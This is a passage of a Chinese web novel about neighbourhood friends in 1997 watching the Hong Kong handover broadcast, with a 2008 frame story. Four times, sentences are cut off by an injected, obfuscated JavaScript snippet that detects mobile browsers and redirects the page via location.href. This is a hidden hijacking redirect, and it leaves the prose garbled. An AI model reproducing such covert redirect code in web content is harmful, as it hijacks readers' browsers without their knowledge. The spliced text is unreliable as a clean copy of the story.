《迟来的少年1997》 1. 2008年夏 01 “师傅麻烦送我去仿膳饭庄!” 车门砰然关闭,穿着西红柿炒鸡蛋配色的女人匆匆报出地名。 “行嘞。”师傅瞄了两眼她身上的衣服,兴奋又好奇,“您是运动员?刚比完赛吗?” “啊对,”她的拇指正在短信框里快速跳动,“完了。” “什么项目?” “吃饭。” “啊?还有这个?” “哦,我是说我得去吃饭,”她反应过来,杏眼专注而清亮,泛着和窗外盛夏夕阳一样热烈的笑意,“本来约的是午饭,没想到拖到现在才出来,拜托您快点儿,我妈她是个急性子,已经催了我八百回,晚饭我可不敢再迟到了。” 话音没落,手机已经嗡嗡响起来。 屏幕显示“妈妈”。 她立刻接通,没等对方开口就解释道:“来了来了!我已经上车了,最多四十五分钟!” 对面情绪颇为激动,声音顺着听筒瞬间灌进狭小的车厢—— “就等你了!你还要磨蹭到什么时候?平时也就算了,你也不看看今天什么日子?就不能让他们改天吗?”梁惠女士的声音一如既往中气十足。 她早有准备,耳朵离得远远的,小声辩解:“说了说了,剩下的让他们改天再约,我刚结束这不就来了吗?” “你真是要气死我!”对面一点没听进去。 “这么多人等着,等了一下午,连阿律和阿休都到了!你能比他们还忙吗?” 她抓住其中的两个字,眸色微微凝滞:“你说谁?” 对面已经非常不耐烦:“你赶紧的,半个小时我让你爸去门口接你!”说到这儿,有几道声音接连从听筒里插进来。 “是迟来吧?” “她就到门口了?” “那我得去接接!” “姑你别催她,越催她越慢你又不是不知道,让她自己过来,也不差这会儿。” 甚至还有小孩子的叫声:“小姑!小姑!你还有多久到啊?” “快了快了,半个小时!赵迟来你听见没有……哎?这赵庆国怎么回事?刚还在这儿的!” 赵迟来只从中辨出表哥和侄女两道声音,虽然知道其他也是熟人,但终究多年没见又隔着听筒,一时间实在很难反应过来。 “妈……” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259258|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正要再保证两句,但被猝然响起的清沉男声打断话头—— “惠姨,我去接吧,赵叔去了洗手间。” 窗外迎风招展的红旗彩带仿佛被谁按下了慢速键,赵迟来眨了眨眼,才发现原是自己眼花,那些鲜亮的彩旗和横幅标语分明飘得好好的呢。 “……真不用,外头热得很可别中暑了,再说你们都多少年没见,认不认得出来还两说。”梁惠正在婉拒,表哥在旁边连声大笑。 “他守着电视机看了一下午怎么可能认不出?这小子又不是一休哥!哈哈哈哈!”大家似乎被他别有深意的嘲笑勾起什么共同的回忆,都跟着笑出声。 赵迟来挂断电话。 吸了口气,撑脸转向窗外。 驾驶座的师傅随手打开电台。 “一样的日月一样的山川。 一样的星光一样的天。 让我们为了这一天尽情的呐喊……” 清亮的女声在车厢中缓缓流淌,靓丽的小黄驶进川流不息的高架桥,融入洪流不断向前。 但赵迟来的思绪却还停留在原地,甚至跟着熟悉的旋律一路退回十一年前那个同样炎热的夏天。 2. 1997年夏 02 “兹拉——” 屏幕上一片雪花。 一个烫着及肩羊毛卷的中年女人死死盯着眼前的黑白电视,神色阴沉,手里的鸡毛掸子微微颤抖。 电视挂在墙上,旁边的方形挂钟显示即将7点整。 这是一间杂货铺。 前店后房面积不大,货架上上下下塞满了琳琅满目的小商品。院子里也是满的,堆了不少箱笼杂物。 “张鑫!!!” 女人从屋里跑出来,对着左边院墙的方向大喊。 墙边的空箱子从顶上滚落,没等它停,一个脑袋就从左侧对巷的院墙上探出来。“怎么了妈?” 他留着板寸,身上的蓝白校服满是涂鸦。 “又没信号了,你赶紧来治治,等会儿你爸回来还得看直播呢!”她指着屋里催促。 “那得十一点多了着什么急?晚点!”说完他就要缩回去。 “不行!”她厉声打断,“你也不看今天什么日子,马上就新闻联播……” “可我在找辰哥拷学习资料呢妈。”语气难掩不耐。 女人微微一顿,眼角浮现一丝水光,看起来有点失望。但她并没有再说什么,只是摆摆手:“行,你忙你的,我自己再看看。”边说边往屋里走,“都忙,忙点好啊……” 俩院子侧面就隔着一条能走自行车的小巷,张鑫又不是个聋子,当然听见了。 他啧了一声,无奈又勉强:“好好好,我这就来!” 将要走到门口的女人眼神瞬间一亮,转头又是那副小心翼翼的样子:“真的?” 张鑫直接从院头落回去。 “辰哥我晚点过来。” 游戏机前的男人戴着耳机,压根没听见。他又朝凉凳上看电视的小孩儿打招呼,“小午等会儿见啊!” 电视屏幕里正在播放倒计时—— 【中国名酒,沱牌曲酒。】 【沱牌曲酒提醒您,新闻联播马上开始。】 小孩儿抱着一袋麦丽素,嗯了一声又很快转回去继续看。 十分钟后。 杂货柜上的电视机已经挪到了柜台上,旁边七歪八扭倒了一片零件。 章阿兰有点狐疑看了儿子一眼,欲言又止,没止住:“能行吗儿子?” “把吗字去了。” 话音刚落,半截线圈突然蹦进手里。 “这是什么?”章阿兰好奇。 “哦没事,就这个坏了,”他伸着懒腰起身,顺手从身后柜格里顺走一盒大大卷,和线圈一起塞进兜里,“我先出去买个零件,马上回来妈妈。” “轰隆——” 外面的天色暗了不少,隐约听见雷声。 章阿兰一副完全没看出任何问题的样子,关心道:“等会儿有暴雨哦,你记得带伞。” “没问题妈妈。”张鑫已经快走到门口。 “对了!”章阿兰想起什么,探头补充,“今天慢慢爸妈都不在家,你多带一把,记得十点之前去补习班接她!” “没问题妈妈!”张鑫从院门旮旯里扯出两把破伞,头也不回冲出去,“慢慢交给我您就放心吧!” 【张鑫,大家都叫他三金。 1979年冬月二十四生,住赵迟来家后面,都在牌坊北街“田”字巷,一墙之隔。两人的妈妈是手帕交,他本人也是赵迟来异父异母的亲兄弟。 自从去年《古惑仔》播出之后,他就梦想成为像陈浩南那样在大湾区说一不二的男人,但至今为止还没有走出牌坊街。 不过听说收了几个小弟。 厉害吧? 用六次德育处分换的。当然,这件事从始至终他那位警察父亲都不知情。】 张鑫一路都在庆幸自己逃过一劫,过了羽毛球馆快到北街才反应过来:“等会儿,这话听着怎么……像她知道我闯祸了一样?” 说完又摇了摇头,觉得自己多想。 穿过骑楼从巷子里出来,雨已经开始下了。 摆在道边上的日化杂货摊子有不少都在往里收,对面的骑楼广场挤满了饭后散步活动的人。 他刚要往左边的下坡路走,晃眼看见广场旁边的巷口里走出来个熟人。 “一休哥?” 那个穿着灰白格子衬衫的年轻人一眼就望过来,眉眼间原有几分疲态,但很快就散开了:“阿鑫?” 他身量瘦长,眼神清澈,笑容也很温暖,就是一头茂盛的头发乱七八糟的,看起来似乎得了什么蓬发症。 “你今天怎么这么早回来?”张鑫见他没带伞,立刻冲过去递给他一把。 “没事我快到了。回来理个发。”他没接。 【一休哥,原名陈抑休。 1980年大年初一生,住赵迟来家对面的牌坊北街“八”字巷,是附近唯一一个和这里所有人都没有亲缘关系的本地人,也是唯一一个在科学院附属实验学校东风班读书的年轻人。总而言之,他就是这片唯二的别人家小孩之一。 复杂吧? 没他小学参加的国际欧几里得数学竞赛题目复杂。】 张鑫看着他的鸡窝头,凝噎片刻哈哈一笑:“你这也不算长吧?连浩南哥一半都比不上,还可以再养养!” 陈抑休眨了眨眼:“你是说,我头发长点更好看?”明显没有接上他的脑回路。 “……” 沉默的这一秒里,张鑫脑子里闪过无数句脏话,以防自己忍不住一把敲他头上,直接给另一把伞强塞进他怀里。 “要你拿着就拿着客气什么?”他塞了伞还不够,又把兜里的大大卷塞他手里,“呐,没事的时候可以嚼嚼,很好玩的。” “这是?” “是来自父亲深沉的爱。” “……” “我还有事先走了!要是有人问起我你就说用户正忙!”他转头继续跑,跑到一半想起来,“哦对了,这伞是给赵慢慢的!你十一点记得给她送过去!” 原地的鸡窝头迎风飘舞。 “送哪儿?” “老街图书馆旁边的大清北!” 话说完,人也没影了。 黑板上的粉笔尖也快没影了。 以一种再快一分立刻冒出烟来的极限速度飞快蔓延。 堂下所有人的桌上也是一样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259259|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画面。 值班老师从后门进来,对专注高效的教学氛围十分满意,边走边点头。 直到经过一只爆炸头旁边,脸上的笑容突然就变得和打了玻尿酸一样诡异。 爆炸头的本子上空空如也,只有两只笔,左边蓝色,右边红色。中间一根手指在左右跳动,嘴里还念念有词。 “刚刚我用的是谁来着?” “是你?还是你?” “就你吧?” “嘶……不行啊,万一错了对谁都不公平……” 值班老师听得青筋直跳。 “嗯哼!” 纠结被人打断,爆炸头疑惑抬头,对上老师不断暗示黑板的脸,哦了一声反应过来:“没关系,我抄很快的,等我选完了笔就开始。” 然后继续若无旁人继续刚才的事。 【赵迟来,小名慢慢。 1980年大年初三生,家住牌坊北街“田”字巷6号,大力少女,牌坊街“朝生拳馆”第三代传人,花城第二十六届截拳锦标赛(青少年组)第四名,西江区金钩杯武术大赛亚军! 人如其名,是个做什么都很慢的人。 出生慢:超预产期半个多月,且拖了两天才落地。 说话慢:其他同龄小孩已经流畅表达想法的时候,她还在牙牙学语。 吃饭慢:速度并不慢甚至很快,但因为饭量大所以每次最后一个下桌。 识字慢:记性不好,学了又忘,反反复复很久才有进展。 性子也慢:总会在无关紧要的小事上选择困难,因小失大! 总之,是牌坊街公认的笨小孩。】 “……” 窗外划过一道闪电,老师脸上的无语和暴虐的雨水一样,一盆一盆垮塌下来。 晚上十点二十。 赵迟来收笔,合上笔盒又打开,笑眯眯对嵌在笔盒内盖的葫芦娃救爷爷说道:“写完咯!” 教室里已经没有旁人,但笔记确确实实一个不少全写进本里。 她不紧不慢收好包起身,看了一眼雨势还很大的窗外,有点犹豫。教室角落的雨伞桶已经空空如也,这个点楼下的商店也都关门了,走回去肯定不成。 但作业都写完了,也没必要待在这里,何况她还得回去看直播呢。 旁边就是图书馆。 门口有一排电话亭。 赵迟来顶着书包快跑过去,插入电话卡拨号。 “嘟,嘟……” 响了很久没有人接。 正要打第二个,她突然想起来,今天妈妈梁惠是中班,得到晚上11点才下班,爸爸赵庆国则早几天就替梁惠回了乡下,帮梁家的三叔公料理丧事,没有办法去接她。 她最近都是住在单位宿舍,晚上不回来。 她放回听筒,看着珠帘一样的雨幕叹了口气。 然后抱胸往左踱了几步,往右踱几步,再次拿起听筒又放下,最后扶着遮雨盖轻轻抠弄。 如此反反复复。 过了很久,她终于下定决心打算冲出去。 没想到转头就看见个人影正杵在身后,她当即闷头吓了一跳! 3. 1997年夏 03 对方举着一把黑伞,白衬衫肩头单边挎着包,另一只手背在身后,黑色的校服常裤干干净净,一丝褶皱也没有,就是踩着雨过来,鞋面也没有和其他人一样一塌糊涂。 不用看赵迟来就知道来的是谁。 “黎明律!你怎么还没回去?” 【黎明律。 1980年大年初二生,同在牌坊北街“田”字巷的邻居,就住赵迟来家右边,一巷之隔。 是周围几个同龄人里来得最晚的一个,小学二年级突然被他爸妈从港城扔过来由阿公照顾,从此以后,长居赵迟来所在年级的断层第一,至今9年从未遇过对手。 是和陈抑休齐名的牌坊街别家小孩。 当然,这都是他人视角。 在赵迟来看来,他就是个死洁癖,一棍子打不出个屁的闷葫芦,无趣得很。】 “以为电话亭被人炸了,过来看看。” “……” 哦,还有死毒舌。 “说了多少次我只是沙发!不是爆炸头。”赵迟来面色狰狞地举起拳头。 他面无表情从她拳头上移开视线,动了动嘴纠正道:“我是说你黑。” “?” 红皮沙发,这是赵迟来此生无法自愈的痛,但她自己嫌不嫌弃是一回事,别人内不内涵又是另一回事。 “你懂什么,这叫气血充足!”她翻了个白眼,从他身后的手里熟练夺过另一把折叠伞,快速撑开。 两人一前一后往回走。 老街就这么大,离牌坊街并不远。 只是周围到处都是民居商铺和厂房,人口密度很大,虽然快半夜还下着大雨,但路上还是有不少人。 大多都是行人,也有自行车和摩托车。 “你回去看电视吗?” “不看。” “哦。” 突然的快问快答。 赵迟来也不是真想知道他看不看,从小一起打到大,她还不知道这人晚上的娱乐活动比她刚上完数学课的大脑皮层还干净吗? 她只是觉得有点太安静了。 不是说环境安静,两个人一起走路,礼貌上来讲总得聊点什么,人情上来讲也得聊点什么。 但现在看起来,他的礼貌不多,她的人情也挺少。 赵迟来加快了脚步。 黎明律抬眼,原本不远不近落在她身后的距离突然拉近。 赵迟来从他带起的水花听出他加了速,不甘示弱又快了一些。但黎明律似乎铁了心要超过她,水声越来越大。 赵迟来咬牙,几乎要跑起来。 在此之前,黎明律先跑起来,他个子高,一旦手忙脚乱的跑起来很快就追到她旁边。眼看被追上,赵迟来怒气冲冲扭头,却见这人并不急着继续往前,而是缓步停下来。 莫名其妙扫了她一眼,又不张嘴说话。 赵迟来心里一股无名火。 恰在此时前道闪过一道车灯,一辆摩托车从转角冲出来。 离得远并不危险,赵迟来没躲,但有个白影倏然从眼前闪过去,几乎一眨眼的功夫就移到她身后。 她回头想问问怎么个事儿,就听“哗啦”一声,摩托车溅起一滩污水,正正好盖在她背后。 面前是一张干净白皙的脸。 平时站直了这张脸能比她高大半个头,但现在正以一种鸵鸟依人的姿势,斜埋在她肩头齐平的地方。 分明是盛夏的天,身后从腰背到裤脚却冰凉刺骨。 “……” 赵迟来双目渐渐圆瞪,终于知道他刚刚在忙什么—— 忙着找一个依靠。 “呵。” 男的。 十五分钟的路程,回到田字巷雨势竟然渐渐停住。 经过张鑫家前面的大树茶馆,赵迟来多看了两眼。这个点居然还有很多人,不像往常三三两两坐在外面喝茶吃粿,而是围在大堂的电视机跟前说话,都是附近的街坊邻居。 她想起来什么,啪一下把伞收了往身后丢:“黎明律!我要是没赶上直播你就死定了!”边说边跑。 黎明律张了张嘴,欲言又止。 家里的灯还是黑的。 梁惠还没有回来,赵迟来直奔厨房,把电饭煲插进去开启煮饭,再胡乱收了一套衣服冲进浴室,刚把衣服脱了,感觉身后吹进来一阵凉风。 左窗页那块裂了很久的磨砂玻璃终于在今天破了,雨水卷着碎渣淌了一地,冷倒不至于冷,但院墙对面就是黎明律的书房,她多少有点要脸。 来不及正经补上,赵迟来在餐桌底下抽出一叠报纸,随手翻出一张,左边写着: 【见证历史!港股恒生指数首次冲破15000!】 右边写着: 【钢价持续走低,7月或将迎来断崖式下跌!】 没什么用,可以贴。 她折了折又撕了撕,很快用胶带把破损的大洞补上。 水声淅淅沥沥,朝外一面的头条经过断章取义,只剩下“港股断崖式下跌”。 她洗得很快,没一会儿就出来。 电饭煲里的夜宵已经热好了,是她最爱的那哥鱼丸汤! 那哥鱼。 肉质鲜美但骨刺多,通常拿来剁糜糜,揪成丸。除此之外,另一种常见的做法就是做成鱼饭。冷却后的那哥鱼肉质硬实白嫩,可以像剥云糕一样一块块剥食。 如果和冬菜或者咸菜一起煮,味道也很鲜美,但自从小时候有一次赵迟来被水煮鱼刺卡了喉咙,这种做法就多年没在家里的餐桌上出现过。 而且此后赵庆国就开始苦练剔骨功。 现在他已经对剔除那哥鱼骨很有经验—— 先打掉鱼鳞,再把鱼头和鱼尾切掉,鱼肚里的内脏清除,鱼身放平在砧板上,用刀面在鱼身上拍打,使鱼肉松弛与鱼骨分离。 拍打二三十下后把鱼身翻过来,试试能否把鱼身上的大骨拿出来,如果拿不下来,那就继续拍。当主骨架能轻松摘除时,鱼身上的小刺也差不多会跟着主骨架被连根拿掉。 如果不怕小刺,接下来直接剁成肉糜就可以做丸了,但赵庆国每次都会再捶打一番,一点一点把小刺给挑了,再给她吃。 眼前这碗鱼丸热气腾腾,鲜香扑鼻,还飘着葱花,显然是他临走之前做好的,再由梁惠二次料理。 赵迟来看一眼时间,十一点整,离直播开始还有十多分钟。她端出内胆打开电视,坐上沙发打算边吃边看。 第一口鱼汤刚到嘴里,突然眼前一黑—— 电视机炸了? 外边很快响起嘈杂的说话声。 赵迟来松了口气,只是停电而已。连忙踩上拖鞋出门,直奔右后方的表哥梁辰家,他以前开过录像厅,家里有发电机。 想起这一茬儿的显然不止她一个。 她刚出门就碰上两个人,一个右边来的黎明律。她哟了一声:“刚不是说不看吗?” 他头也不回:“刚才是刚才,现在是现在。” 赵迟来轻嗤:“死装。” 另一个右前边来的,远远看见她的影子就挥上手了:“慢慢!” 【文思泉。 1980年二月二十八生,赵迟来斜对巷的邻居,牌坊街最优雅的厂二代小公主,也是赵迟来异父异母的亲姐妹。】 “你家不是能发电吗?”赵迟来一愣。 “我爸不在,我和我妈不会用……”她对手指。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259260|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“那愣着干嘛,叫上你妈一起啊!” “她,她不好意思。” “都是街坊邻居,有什么不好意思的?我来劝劝!”赵迟来自告奋勇。 她端着碗进了这家,吃到一半又端去另一家,等她进屋时,手里已经只剩个空碗。 屋里沙发上坐了一堆人。 表哥梁辰抱着弟弟梁午坐中间,舅妈陈闻喜坐旁边,头上的护士帽还没有摘下来。张鑫挤在他爸妈中间,面如菜色。黎明律单独坐另一边。 “啊呀慢慢快来!已经开始了!”这是舅妈。 “还没吃饭吗慢慢?我锅里正好还留了点,你去盛!”这是张鑫妈章阿兰。 “吃饱了吃饱了!”赵迟来连忙摆手,示意身后的文思泉:“思泉,何阿姨你们快进来!” 何温婉一直在家照顾文思泉,很少出门,和大家都不是很熟,但舅妈还是热情让座。 沙发并不大,坐了这些人已经坐不下几个,何温婉脸上微红,打起了退堂鼓。单独坐一边的黎明律自觉坐到了表哥旁边。 舅妈一看,连忙把赵迟来和文思泉赶过去:“你们小辈坐中间去,思泉妈妈和我坐!” 张鑫爸妈也加入这场战斗,几人拉拉扯扯推推搡搡。 赵迟来过来放碗勺,张鑫正在挤眉弄眼,她疑惑不解:“怎么了?你又闯祸了?” 张鑫大嘘一声,神色紧张,显然他爸还不知道。赵迟来越过表哥跟前,小声:“那是怎么了?” “我说一休哥呢?他不是接你去了吗?没来?” “没有啊?我自己回来的。”赵迟来觉得有点奇怪,总觉得陈抑休不适合干接人的活儿,至于理由,又没想起来。 许是被挡住视线,她说这话的时候,表哥另一边的黎明律看了她一眼,往后退了点。 赵迟来不以为意,正嫌他腿碍事,给他顺便踢边上去,继续和张鑫说话。 “那不对啊,我都跟他说了去接你。” “你没说清楚。” “说啦!地点和目的清清楚楚。” “时间?” “十一点啊。” “你是不是傻啊?我什么时候十一点回来过?” 赵迟来还以为自己听错了,“他这会儿不会还等着呢吧?” 张鑫一看时间,暗道一声糟。 文思泉看他们说了半天一惊一乍,问怎么回事,后方战场的战局终于定了,舅妈和章阿兰架着文思泉妈妈一起落座,张鑫爸也坐回来。 赵迟来两人当即收回脖子,开始挤眉弄眼,都暗示对方出去找找。 “我去吧,大晚上的你俩去不安全。” 黎明律突然开口,一句话给张鑫爸说警惕了。 “去哪儿?大晚上你们想去哪儿?” “去找——” “阿鑫!阿鑫你在吗?我把迟来接回来了。”门外突然有人打断,声音很熟悉。 几人顾不得猜来猜去,纷纷抬头。 “我怎么听见一休哥的声音了?”文思泉疑惑。 “是他。”黎明律点头。 “他说把谁接回来了?”表哥一脸迷惑。 “好像是说慢慢。”张鑫爸不确定。 “慢慢不在这儿吗?”舅妈也疑惑。 “你让他今天去接慢慢了?”章阿兰明白了,指着张鑫十分震惊,“你让阿休接人?他能接人??” “怎么呢?不行吗?”张鑫理所当然。 “他不认人你不知道吗?谁知道这次又接个什么东西回来?”章阿兰怒火中烧。 赵迟来点点头,终于明白那点不对劲是怎么回事—— 她想起来。 陈抑休,他似乎是个脸盲啊! 4. 1997年夏 04 说似乎,是因为陈抑休叫错她的时候还挺少的,导致她经常会忘记这回事。 至于张鑫,他则完全是个例外,无论他在干嘛,穿什么衣服,陈抑休都能一眼认出他,堪称牌坊街“十大未解之谜”! 他们也曾问过陈抑休。 “你到底怎么认的?” 当时他想了想,回答得一本正经—— “就好像拍照一样,其他人多少都有点虚焦,只有他的脸清晰可见,所以很好认。” 大家一致以为他在胡扯。 只有文思泉,突然就跟做贼一样戳了戳她的腰窝,小声咬道:“不好,恐怕是给子。” 赵迟来当时知不知道什么是给子暂且不论,反正现在是知道的。 她第一时间转向左边,和文思泉意味深长对视一眼,随后若无其事叉开。很快张鑫领着人进来,他直勾勾盯了赵迟来两眼,表情有点奇怪。 “打扰了陈阿姨。” 一个留着“浩南头”的格子衬衫走了进来,发型是成功的,但落在陈抑休那张清澈寡淡的脸上,那种感觉就很难形容。 大概像一件很新潮的古董,一件从阿公的阿嬷手里传下来卖到昨天晚上十二点还没卖出去的赔钱货。 “……” 大家大眼瞪小眼大概有五秒。 章阿兰哈哈打破沉默:“头发落下来差点不认识,这孩子原来长得还挺……挺高清的。” 赵迟来眨眨眼颇为认同,她就说不止她一个人觉得一休哥以前过于抽象嘛! 估计是一屋子的“马赛克”实在难认,陈抑休只是笑了笑没再叫人。 扫过赵迟来的时候,他的目光微微停顿了片刻,随后面露疑惑,转身看向身后—— 一个提着蛇皮袋子的阿婆,她正好奇探头。 见大家都看过来,阿婆扯了扯陈抑休的袖子:“你说我孙子阿星在这儿,在哪儿呢?” 大家一头雾水。 陈抑休来回打量赵迟来和老太太,终于意识到不对劲:“阿鑫,我是不是又认错人了?” 张鑫一早就看出缘由,已经捂嘴笑了好半天:“我算是哈哈哈……我算知道为什么你对赵慢慢是间歇性脸盲了哈哈哈!” 他指着赵迟来,笑得几乎直不起腰:“因为哈哈哈哈,你认的一直是她的睡衣啊!” 赵迟来疑惑,探头去看老太太身上的衣服。 其他人也跟着探头。 好家伙,果然和她身上的一模一样! “哦。” 原来她的本体是蓝色圆领碎花睡衣啊。 花城气候温和,因为靠海的缘故没有酷寒的冬天,赵迟来在家一年大半时间都穿这种长袖睡衣,有好几套轮流换,甚至从小到大都是这个款式。 毕竟北街卖睡衣的就这么几家,能同时满足她和梁惠喜好的款式,屈指可数。 【各位观众,现在是1997年6月30日23时14分,我们将在这里和大家一起注视一个历史时刻的来临……】 突然插入的标准播音腔打破了令人尴尬的沉默,众人循声看向电视机。 两位主持人正坐在演播厅,屏幕上显示—— 【现场直播:香港政权交接仪式】 大家一下都忘了自己要干嘛,目不转睛盯着屏幕上的变化。 张鑫边看边往回走,示意陈抑休也跟上,原本他是要过来的,听到身后响起开门的声音,又转回去查看。 那位找孙子的阿婆走了。 陈抑休想起什么,立刻和张鑫告辞:“我先出去一趟,等会儿回来。” 张鑫随口问:“去干嘛?” “刚为了哄她回来,我把你送我的泡泡糖给她了,现在去要回来!”话说到一半,人已经跑远了。 赵迟来几人闻声回头,都忍不住抽了抽嘴角。 是的,一休哥不仅是个脸盲,还是个狗见愁的抠门玩意儿,一般人休想从他手里捞到什么好处,除非另外的价钱! 凌晨12点半。 “打扰了,早点休息。” “拜拜慢慢,明天见。” 大家陆陆续续从录像厅里出来。 赵迟来走出一截回头拿碗,听见小表弟用困倦至极的声音问表哥:“哥哥,明天还看吗?” 表哥摸了摸他的头:“要看明天给你放重播,现在去睡觉。” 表弟现在一年级,舅妈平时会要求他8点之前必须睡觉,今天却破例让他一起熬到凌晨,明显一副没熬明白的样子。 “不要,我要看直播,大家一起看。” 表哥叉腰皱眉,似乎不知道怎么解释。赵迟来闷笑,也顺手摸了摸表弟圆圆的脑袋:“可以,下次咱们再一起看。” “下次是什么时候?”表弟眼含期待。 “1999年吧。”赵迟来想了想,认真回答。 “啊?那还有好久哦……” “不会的,一晃眼就到了。” “走了哥!” “注意安全。” 赵迟来从屋里出来穿鞋,门口竟然还有一个人。黎明律,他也在穿鞋。 “你怎么还没走?” “……” 他没说话,只是一味系鞋带,赶在赵迟来穿好之前起身离开。 两人前后脚进入侧巷。 进来就发现一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259261|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片漆黑。 “哎?又停电了吗?”赵迟来疑惑。 原本巷子里挂了两盏灯,一直是黎明律的阿公在管理,他是这一片啥都懂点的手艺人,缺什么哪里有问题总会第一时间发现。 所以赵迟来第一反应还以为是停电了。 “坏了。” “什么坏了?” “灯。” “啊?” 赵迟来想起来,回来的时候好像确实发现巷子里暗暗的,估计又是这场暴雨坏的事。 虽然电已经通了,但这个点左右四户人家谁都没有开多少灯,就算有一两盏,隔着两堵院墙也照不进巷子里的地面。 赵迟来踩中一块石头,忍不住趔趄冲出去两步。黎明律就在她前面不足一米,突然遭受一击头槌,顿时停下来。 “……” 借张鑫房间隐隐约约的灯光,赵迟来读懂了他脸上麻木的表情。 “哈哈,人有失脚马有失蹄,我还没说你挡我路呢!”她先发制人。 他竟然没有回怼,继续往前走。 赵迟来背着他挥了挥拳头,不等嘴他点什么,脚下又踩中一个异物。这次和刚才的感觉完全不一样,很软,还是长条的,似乎还在蠕动…… “啊!” 赵迟来一下想到蛇,触电般惊叫跳开,经过前路还顺手把不明状况的黎明律给捎上,抓住他的领子就跑。 黎明律无法反抗。 准确说,牌坊街的所有人,除了她爸赵庆国,其他人都无法反抗。 赵迟来以迅雷不及掩耳之势拎着小鸡仔从巷子里冲出来,略显后怕躲在小鸡仔身后。 “你看看,你看看跟过来没有!”她紧张。 “什么东西?” “蛇啊蛇!刚刚被我踩了一脚!”她急得跺脚。 “这里不会有蛇,有什么好怕。” “我踩的又不是你踩的,你当然不怕!再说我最讨厌这种满身鳞片的无毛动物了!”她终于忍不住炸毛。 “哦,那哥鱼你怕不怕?”黎明律无情反问。 “……” 巷口有灯,照得还算清楚,地上除了碎石头空空如也。 赵迟来看了眼手上的空碗,想到吃完的那碗鱼丸汤,那可太美味了!当然不怕。她突然从恐惧中解脱出来,把他给放了。 “黎明律。”她斜眼瞧他。 “说。”他自顾整理歪斜的衣领。 “给多少钱你愿意和红蛇互咬一口?”她问了个莫名其妙的问题。 “?”显然黎明律也是这么想的。 “我想看看你们到底谁能把谁毒死。” “……” 5. 1997年夏 05 第二天早上七点。 赵迟来用瓷缸从水龙头下面的桶里舀起半缸水,蹲在旁边的排水沟边上刷牙。昨天实在睡太晚,她还有点没醒梦。迷迷糊糊听见有人在外面说话,紧接着就有人进出。 她瞄了一眼,是送煤的师傅。 他们家房子不大。 进门一间小前院,左边有水桶水缸晾衣架等等生活用品,算是个外置生活区,右边是仓库浴室厕所杂物区,顺便插空种点菜。 正门进屋就是外厅,一把藤编长椅垫着坐垫整整齐齐,墙上贴着满屏奖状,横格上也有不少奖杯,当然都和学习没关系,是武术比赛来的。 小内厅放着茶桌和祖宗牌位,一年四季都有供品。 客厅对面是两间卧室,里面是厨房,简简单单。 “赵迟来!水桶满了你没看见啊?” 指挥师傅运煤进来的女人抽空吼了赵迟来一嗓子。 她穿着一件橘色碎花翻领长裙,皮肤白皙唇色饱满,留着一头及肩卷发。和赵迟来干枯坚硬的妈生沙发不同,她发质细腻,每根头发丝都散发着美容院的精致气息。 【梁惠。 1957年生,花城市西江区本地人,父亲是“朝生拳馆”创始人。拳馆创办之初曾红极一时,但赵迟来出生那年不幸倒闭。母亲是花城市中医院前骨科医师,现已退休,在乡下老家渔田村养老顺便做做村医。 她本人目前在铁路局城西电务段担任通信员,从业二十年从未升过职。 虽然是武馆的女儿,但她并不会武术,而是在教育家一道深耕。 从赵迟来出生起,她就制定了长达98页的成长计划,从婴儿期一直涵盖到考上清北大学。其余时间,有空就会和周围的棋牌圣手切磋,技艺精湛赢多输少。】 “哦。” 赵迟来准确解读,抽出牙刷把接满的桶挪到一边,另外换上一个新的空桶,调整水龙头的大小让它保持在一个水继续流但表不会继续走的程度。 “辛苦了!” “对对对,和上个月的一起结,我这里是田字巷6号。” 梁惠风风火火接人进来又送人出去,几分钟的时间就把事情安排妥当。 回来时,赵迟来还是同样的姿势蹲在墙脚,她顿时气不打一处来:“刷刷刷还在刷,你要磨蹭到什么时候?马上就7点20了!” “哦,洗完了。”赵迟来不急不慢漱口。 